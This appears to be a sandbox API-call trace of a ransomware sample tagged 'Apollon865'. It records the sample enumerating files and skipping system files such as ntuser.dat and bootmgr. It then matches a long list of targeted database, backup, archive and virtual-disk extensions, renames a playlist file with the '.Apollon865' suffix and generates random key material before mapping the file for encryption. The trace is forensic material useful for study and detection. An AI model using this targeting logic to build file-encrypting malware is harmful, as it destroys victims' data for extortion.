	[0061.078] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="Apollon865.txt.exe") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".") returned 1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="..") returned 1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="windows") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="bootmgr") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="temp") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="pagefile.sys") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="boot") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="ids.txt") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="ntuser.dat") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="perflogs") returned -1
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2="MSBuild") returned -1
	[0061.081] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0061.081] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\01_Music_auto_rated_at_5_stars.wpl") returned 118
	[0061.081] lstrcpyW (in: lpString1=0x119e6b0, lpString2="02_Music_added_in_the_last_month.wpl" | out: lpString1="02_Music_added_in_the_last_month.wpl") returned="02_Music_added_in_the_last_month.wpl"
	[0061.081] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0061.081] lstrlenW (lpString="Apollon865") returned 10
	[0061.081] lstrcmpiW (lpString1="_month.wpl", lpString2="Apollon865") returned -1
	[0061.081] lstrlenW (lpString=".dll") returned 4
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".dll") returned 1
	[0061.081] lstrlenW (lpString=".lnk") returned 4
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".lnk") returned 1
	[0061.081] lstrlenW (lpString=".ini") returned 4
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".ini") returned 1
	[0061.081] lstrlenW (lpString=".sys") returned 4
	[0061.081] lstrcmpiW (lpString1="02_Music_added_in_the_last_month.wpl", lpString2=".sys") returned 1
	[0061.082] lstrlenW (lpString="02_Music_added_in_the_last_month.wpl") returned 36
	[0061.082] lstrlenW (lpString="bak") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="bak") returned 1
	[0061.082] lstrlenW (lpString="ba_") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="ba_") returned 1
	[0061.082] lstrlenW (lpString="dbb") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="dbb") returned 1
	[0061.082] lstrlenW (lpString="vmdk") returned 4
	[0061.082] lstrcmpiW (lpString1=".wpl", lpString2="vmdk") returned -1
	[0061.082] lstrlenW (lpString="rar") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="rar") returned 1
	[0061.082] lstrlenW (lpString="zip") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="zip") returned -1
	[0061.082] lstrlenW (lpString="tgz") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="tgz") returned 1
	[0061.082] lstrlenW (lpString="vbox") returned 4
	[0061.082] lstrcmpiW (lpString1=".wpl", lpString2="vbox") returned -1
	[0061.082] lstrlenW (lpString="vdi") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="vdi") returned 1
	[0061.082] lstrlenW (lpString="vhd") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="vhd") returned 1
	[0061.082] lstrlenW (lpString="vhdx") returned 4
	[0061.082] lstrcmpiW (lpString1=".wpl", lpString2="vhdx") returned -1
	[0061.082] lstrlenW (lpString="avhd") returned 4
	[0061.082] lstrcmpiW (lpString1=".wpl", lpString2="avhd") returned -1
	[0061.082] lstrlenW (lpString="db") returned 2
	[0061.082] lstrcmpiW (lpString1="pl", lpString2="db") returned 1
	[0061.082] lstrlenW (lpString="db2") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="db2") returned 1
	[0061.082] lstrlenW (lpString="db3") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="db3") returned 1
	[0061.082] lstrlenW (lpString="dbf") returned 3
	[0061.082] lstrcmpiW (lpString1="wpl", lpString2="dbf") returned 1
	[0061.083] lstrlenW (lpString="mdf") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="mdf") returned 1
	[0061.083] lstrlenW (lpString="mdb") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="mdb") returned 1
	[0061.083] lstrlenW (lpString="sql") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="sql") returned 1
	[0061.083] lstrlenW (lpString="sqlite") returned 6
	[0061.083] lstrcmpiW (lpString1="th.wpl", lpString2="sqlite") returned 1
	[0061.083] lstrlenW (lpString="sqlite3") returned 7
	[0061.083] lstrcmpiW (lpString1="nth.wpl", lpString2="sqlite3") returned -1
	[0061.083] lstrlenW (lpString="sqlitedb") returned 8
	[0061.083] lstrcmpiW (lpString1="onth.wpl", lpString2="sqlitedb") returned -1
	[0061.083] lstrlenW (lpString="xml") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="xml") returned -1
	[0061.083] lstrlenW (lpString="$er") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="$er") returned 1
	[0061.083] lstrlenW (lpString="4dd") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="4dd") returned 1
	[0061.083] lstrlenW (lpString="4dl") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="4dl") returned 1
	[0061.083] lstrlenW (lpString="^^^") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="^^^") returned 1
	[0061.083] lstrlenW (lpString="abs") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="abs") returned 1
	[0061.083] lstrlenW (lpString="abx") returned 3
	[0061.083] lstrcmpiW (lpString1="wpl", lpString2="abx") returned 1
	[0061.083] lstrlenW (lpString="accdb") returned 5
	[0061.083] lstrcmpiW (lpString1="h.wpl", lpString2="accdb") returned 1
	[0061.083] lstrlenW (lpString="accdc") returned 5
	[0061.083] lstrcmpiW (lpString1="h.wpl", lpString2="accdc") returned 1
	[0061.083] lstrlenW (lpString="accde") returned 5
	[0061.083] lstrcmpiW (lpString1="h.wpl", lpString2="accde") returned 1
	[0061.083] lstrlenW (lpString="accdr") returned 5
	[0061.084] lstrcmpiW (lpString1="h.wpl", lpString2="accdr") returned 1
	[0061.084] lstrlenW (lpString="accdt") returned 5
	[0061.084] lstrcmpiW (lpString1="h.wpl", lpString2="accdt") returned 1
	[0061.084] lstrlenW (lpString="accdw") returned 5
	[0061.084] lstrcmpiW (lpString1="h.wpl", lpString2="accdw") returned 1
	[0061.084] lstrlenW (lpString="accft") returned 5
	[0061.084] lstrcmpiW (lpString1="h.wpl", lpString2="accft") returned 1
	[0061.084] lstrlenW (lpString="adb") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.084] lstrlenW (lpString="adb") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="adb") returned 1
	[0061.084] lstrlenW (lpString="ade") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="ade") returned 1
	[0061.084] lstrlenW (lpString="adf") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="adf") returned 1
	[0061.084] lstrlenW (lpString="adn") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="adn") returned 1
	[0061.084] lstrlenW (lpString="adp") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="adp") returned 1
	[0061.084] lstrlenW (lpString="alf") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="alf") returned 1
	[0061.084] lstrlenW (lpString="ask") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="ask") returned 1
	[0061.084] lstrlenW (lpString="btr") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="btr") returned 1
	[0061.084] lstrlenW (lpString="cat") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="cat") returned 1
	[0061.084] lstrlenW (lpString="cdb") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="cdb") returned 1
	[0061.084] lstrlenW (lpString="ckp") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="ckp") returned 1
	[0061.084] lstrlenW (lpString="cma") returned 3
	[0061.084] lstrcmpiW (lpString1="wpl", lpString2="cma") returned 1
	[0061.085] lstrlenW (lpString="cpd") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="cpd") returned 1
	[0061.085] lstrlenW (lpString="dacpac") returned 6
	[0061.085] lstrcmpiW (lpString1="th.wpl", lpString2="dacpac") returned 1
	[0061.085] lstrlenW (lpString="dad") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dad") returned 1
	[0061.085] lstrlenW (lpString="dadiagrams") returned 10
	[0061.085] lstrcmpiW (lpString1="_month.wpl", lpString2="dadiagrams") returned -1
	[0061.085] lstrlenW (lpString="daschema") returned 8
	[0061.085] lstrcmpiW (lpString1="onth.wpl", lpString2="daschema") returned 1
	[0061.085] lstrlenW (lpString="db-journal") returned 10
	[0061.085] lstrcmpiW (lpString1="_month.wpl", lpString2="db-journal") returned -1
	[0061.085] lstrlenW (lpString="db-shm") returned 6
	[0061.085] lstrcmpiW (lpString1="th.wpl", lpString2="db-shm") returned 1
	[0061.085] lstrlenW (lpString="db-wal") returned 6
	[0061.085] lstrcmpiW (lpString1="th.wpl", lpString2="db-wal") returned 1
	[0061.085] lstrlenW (lpString="dbc") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dbc") returned 1
	[0061.085] lstrlenW (lpString="dbs") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dbs") returned 1
	[0061.085] lstrlenW (lpString="dbt") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dbt") returned 1
	[0061.085] lstrlenW (lpString="dbv") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dbv") returned 1
	[0061.085] lstrlenW (lpString="dbx") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dbx") returned 1
	[0061.085] lstrlenW (lpString="dcb") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dcb") returned 1
	[0061.085] lstrlenW (lpString="dct") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dct") returned 1
	[0061.085] lstrlenW (lpString="dcx") returned 3
	[0061.085] lstrcmpiW (lpString1="wpl", lpString2="dcx") returned 1
	[0061.085] lstrlenW (lpString="ddl") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="ddl") returned 1
	[0061.086] lstrlenW (lpString="dlis") returned 4
	[0061.086] lstrcmpiW (lpString1=".wpl", lpString2="dlis") returned -1
	[0061.086] lstrlenW (lpString="dp1") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="dp1") returned 1
	[0061.086] lstrlenW (lpString="dqy") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="dqy") returned 1
	[0061.086] lstrlenW (lpString="dsk") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="dsk") returned 1
	[0061.086] lstrlenW (lpString="dsn") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="dsn") returned 1
	[0061.086] lstrlenW (lpString="dtsx") returned 4
	[0061.086] lstrcmpiW (lpString1=".wpl", lpString2="dtsx") returned -1
	[0061.086] lstrlenW (lpString="dxl") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="dxl") returned 1
	[0061.086] lstrlenW (lpString="eco") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="eco") returned 1
	[0061.086] lstrlenW (lpString="ecx") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="ecx") returned 1
	[0061.086] lstrlenW (lpString="edb") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="edb") returned 1
	[0061.086] lstrlenW (lpString="epim") returned 4
	[0061.086] lstrcmpiW (lpString1=".wpl", lpString2="epim") returned -1
	[0061.086] lstrlenW (lpString="fcd") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="fcd") returned 1
	[0061.086] lstrlenW (lpString="fdb") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="fdb") returned 1
	[0061.086] lstrlenW (lpString="fic") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="fic") returned 1
	[0061.086] lstrlenW (lpString="flexolibrary") returned 12
	[0061.086] lstrcmpiW (lpString1="st_month.wpl", lpString2="flexolibrary") returned 1
	[0061.086] lstrlenW (lpString="fm5") returned 3
	[0061.086] lstrcmpiW (lpString1="wpl", lpString2="fm5") returned 1
	[0061.086] lstrlenW (lpString="fmp") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fmp") returned 1
	[0061.087] lstrlenW (lpString="fmp12") returned 5
	[0061.087] lstrcmpiW (lpString1="h.wpl", lpString2="fmp12") returned 1
	[0061.087] lstrlenW (lpString="fmpsl") returned 5
	[0061.087] lstrcmpiW (lpString1="h.wpl", lpString2="fmpsl") returned 1
	[0061.087] lstrlenW (lpString="fol") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fol") returned 1
	[0061.087] lstrlenW (lpString="fp3") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fp3") returned 1
	[0061.087] lstrlenW (lpString="fp4") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fp4") returned 1
	[0061.087] lstrlenW (lpString="fp5") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fp5") returned 1
	[0061.087] lstrlenW (lpString="fp7") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fp7") returned 1
	[0061.087] lstrlenW (lpString="fpt") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="fpt") returned 1
	[0061.087] lstrlenW (lpString="frm") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="frm") returned 1
	[0061.087] lstrlenW (lpString="gdb") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.087] lstrlenW (lpString="gdb") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="gdb") returned 1
	[0061.087] lstrlenW (lpString="grdb") returned 4
	[0061.087] lstrcmpiW (lpString1=".wpl", lpString2="grdb") returned -1
	[0061.087] lstrlenW (lpString="gwi") returned 3
	[0061.087] lstrcmpiW (lpString1="wpl", lpString2="gwi") returned 1
	[0061.088] lstrlenW (lpString="hdb") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="hdb") returned 1
	[0061.088] lstrlenW (lpString="his") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="his") returned 1
	[0061.088] lstrlenW (lpString="ib") returned 2
	[0061.088] lstrcmpiW (lpString1="pl", lpString2="ib") returned 1
	[0061.088] lstrlenW (lpString="idb") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="idb") returned 1
	[0061.088] lstrlenW (lpString="ihx") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="ihx") returned 1
	[0061.088] lstrlenW (lpString="itdb") returned 4
	[0061.088] lstrcmpiW (lpString1=".wpl", lpString2="itdb") returned -1
	[0061.088] lstrlenW (lpString="itw") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="itw") returned 1
	[0061.088] lstrlenW (lpString="jet") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="jet") returned 1
	[0061.088] lstrlenW (lpString="jtx") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="jtx") returned 1
	[0061.088] lstrlenW (lpString="kdb") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="kdb") returned 1
	[0061.088] lstrlenW (lpString="kexi") returned 4
	[0061.088] lstrcmpiW (lpString1=".wpl", lpString2="kexi") returned -1
	[0061.088] lstrlenW (lpString="kexic") returned 5
	[0061.088] lstrcmpiW (lpString1="h.wpl", lpString2="kexic") returned -1
	[0061.088] lstrlenW (lpString="kexis") returned 5
	[0061.088] lstrcmpiW (lpString1="h.wpl", lpString2="kexis") returned -1
	[0061.088] lstrlenW (lpString="lgc") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="lgc") returned 1
	[0061.088] lstrlenW (lpString="lwx") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="lwx") returned 1
	[0061.088] lstrlenW (lpString="maf") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="maf") returned 1
	[0061.088] lstrlenW (lpString="maq") returned 3
	[0061.088] lstrcmpiW (lpString1="wpl", lpString2="maq") returned 1
	[0061.089] lstrlenW (lpString="mar") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mar") returned 1
	[0061.089] lstrlenW (lpString="marshal") returned 7
	[0061.089] lstrcmpiW (lpString1="nth.wpl", lpString2="marshal") returned 1
	[0061.089] lstrlenW (lpString="mas") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mas") returned 1
	[0061.089] lstrlenW (lpString="mav") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mav") returned 1
	[0061.089] lstrlenW (lpString="maw") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="maw") returned 1
	[0061.089] lstrlenW (lpString="mdbhtml") returned 7
	[0061.089] lstrcmpiW (lpString1="nth.wpl", lpString2="mdbhtml") returned 1
	[0061.089] lstrlenW (lpString="mdn") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mdn") returned 1
	[0061.089] lstrlenW (lpString="mdt") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mdt") returned 1
	[0061.089] lstrlenW (lpString="mfd") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mfd") returned 1
	[0061.089] lstrlenW (lpString="mpd") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mpd") returned 1
	[0061.089] lstrlenW (lpString="mrg") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mrg") returned 1
	[0061.089] lstrlenW (lpString="mud") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mud") returned 1
	[0061.089] lstrlenW (lpString="mwb") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="mwb") returned 1
	[0061.089] lstrlenW (lpString="myd") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="myd") returned 1
	[0061.089] lstrlenW (lpString="ndf") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="ndf") returned 1
	[0061.089] lstrlenW (lpString="nnt") returned 3
	[0061.089] lstrcmpiW (lpString1="wpl", lpString2="nnt") returned 1
	[0061.089] lstrlenW (lpString="nrmlib") returned 6
	[0061.090] lstrcmpiW (lpString1="th.wpl", lpString2="nrmlib") returned 1
	[0061.090] lstrlenW (lpString="ns2") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="ns2") returned 1
	[0061.090] lstrlenW (lpString="ns3") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="ns3") returned 1
	[0061.090] lstrlenW (lpString="ns4") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="ns4") returned 1
	[0061.090] lstrlenW (lpString="nsf") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="nsf") returned 1
	[0061.090] lstrlenW (lpString="nv") returned 2
	[0061.090] lstrcmpiW (lpString1="pl", lpString2="nv") returned 1
	[0061.090] lstrlenW (lpString="nv2") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="nv2") returned 1
	[0061.090] lstrlenW (lpString="nwdb") returned 4
	[0061.090] lstrcmpiW (lpString1=".wpl", lpString2="nwdb") returned -1
	[0061.090] lstrlenW (lpString="nyf") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="nyf") returned 1
	[0061.090] lstrlenW (lpString="odb") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.090] lstrlenW (lpString="odb") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="odb") returned 1
	[0061.090] lstrlenW (lpString="oqy") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="oqy") returned 1
	[0061.090] lstrlenW (lpString="ora") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="ora") returned 1
	[0061.090] lstrlenW (lpString="orx") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="orx") returned 1
	[0061.090] lstrlenW (lpString="owc") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="owc") returned 1
	[0061.090] lstrlenW (lpString="p96") returned 3
	[0061.090] lstrcmpiW (lpString1="wpl", lpString2="p96") returned 1
	[0061.090] lstrlenW (lpString="p97") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="p97") returned 1
	[0061.091] lstrlenW (lpString="pan") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="pan") returned 1
	[0061.091] lstrlenW (lpString="pdb") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="pdb") returned 1
	[0061.091] lstrlenW (lpString="pdm") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="pdm") returned 1
	[0061.091] lstrlenW (lpString="pnz") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="pnz") returned 1
	[0061.091] lstrlenW (lpString="qry") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="qry") returned 1
	[0061.091] lstrlenW (lpString="qvd") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="qvd") returned 1
	[0061.091] lstrlenW (lpString="rbf") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="rbf") returned 1
	[0061.091] lstrlenW (lpString="rctd") returned 4
	[0061.091] lstrcmpiW (lpString1=".wpl", lpString2="rctd") returned -1
	[0061.091] lstrlenW (lpString="rod") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="rod") returned 1
	[0061.091] lstrlenW (lpString="rodx") returned 4
	[0061.091] lstrcmpiW (lpString1=".wpl", lpString2="rodx") returned -1
	[0061.091] lstrlenW (lpString="rpd") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="rpd") returned 1
	[0061.091] lstrlenW (lpString="rsd") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="rsd") returned 1
	[0061.091] lstrlenW (lpString="sas7bdat") returned 8
	[0061.091] lstrcmpiW (lpString1="onth.wpl", lpString2="sas7bdat") returned -1
	[0061.091] lstrlenW (lpString="sbf") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="sbf") returned 1
	[0061.091] lstrlenW (lpString="scx") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="scx") returned 1
	[0061.091] lstrlenW (lpString="sdb") returned 3
	[0061.091] lstrcmpiW (lpString1="wpl", lpString2="sdb") returned 1
	[0061.091] lstrlenW (lpString="sdc") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="sdc") returned 1
	[0061.092] lstrlenW (lpString="sdf") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="sdf") returned 1
	[0061.092] lstrlenW (lpString="sis") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="sis") returned 1
	[0061.092] lstrlenW (lpString="spq") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="spq") returned 1
	[0061.092] lstrlenW (lpString="te") returned 2
	[0061.092] lstrcmpiW (lpString1="pl", lpString2="te") returned -1
	[0061.092] lstrlenW (lpString="teacher") returned 7
	[0061.092] lstrcmpiW (lpString1="nth.wpl", lpString2="teacher") returned -1
	[0061.092] lstrlenW (lpString="tmd") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="tmd") returned 1
	[0061.092] lstrlenW (lpString="tps") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="tps") returned 1
	[0061.092] lstrlenW (lpString="trc") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.092] lstrlenW (lpString="trc") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="trc") returned 1
	[0061.092] lstrlenW (lpString="trm") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="trm") returned 1
	[0061.092] lstrlenW (lpString="udb") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="udb") returned 1
	[0061.092] lstrlenW (lpString="udl") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="udl") returned 1
	[0061.092] lstrlenW (lpString="usr") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="usr") returned 1
	[0061.092] lstrlenW (lpString="v12") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="v12") returned 1
	[0061.092] lstrlenW (lpString="vis") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="vis") returned 1
	[0061.092] lstrlenW (lpString="vpd") returned 3
	[0061.092] lstrcmpiW (lpString1="wpl", lpString2="vpd") returned 1
	[0061.093] lstrlenW (lpString="vvv") returned 3
	[0061.093] lstrcmpiW (lpString1="wpl", lpString2="vvv") returned 1
	[0061.093] lstrlenW (lpString="wdb") returned 3
	[0061.093] lstrcmpiW (lpString1="wpl", lpString2="wdb") returned 1
	[0061.093] lstrlenW (lpString="wmdb") returned 4
	[0061.093] lstrcmpiW (lpString1=".wpl", lpString2="wmdb") returned -1
	[0061.093] lstrlenW (lpString="wrk") returned 3
	[0061.093] lstrcmpiW (lpString1="wpl", lpString2="wrk") returned -1
	[0061.093] lstrlenW (lpString="xdb") returned 3
	[0061.093] lstrcmpiW (lpString1="wpl", lpString2="xdb") returned -1
	[0061.093] lstrlenW (lpString="xld") returned 3
	[0061.093] lstrcmpiW (lpString1="wpl", lpString2="xld") returned -1
	[0061.093] lstrlenW (lpString="xmlff") returned 5
	[0061.093] lstrcmpiW (lpString1="h.wpl", lpString2="xmlff") returned -1
	[0061.093] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.Apollon865") returned 131
	[0061.093] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.apollon865"), dwFlags=0x1) returned 1
	[0061.095] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0061.095] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1279) returned 1
	[0061.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0061.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0061.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0061.096] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0061.097] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0061.097] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0061.097] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x800, lpName=0x0) returned 0x150
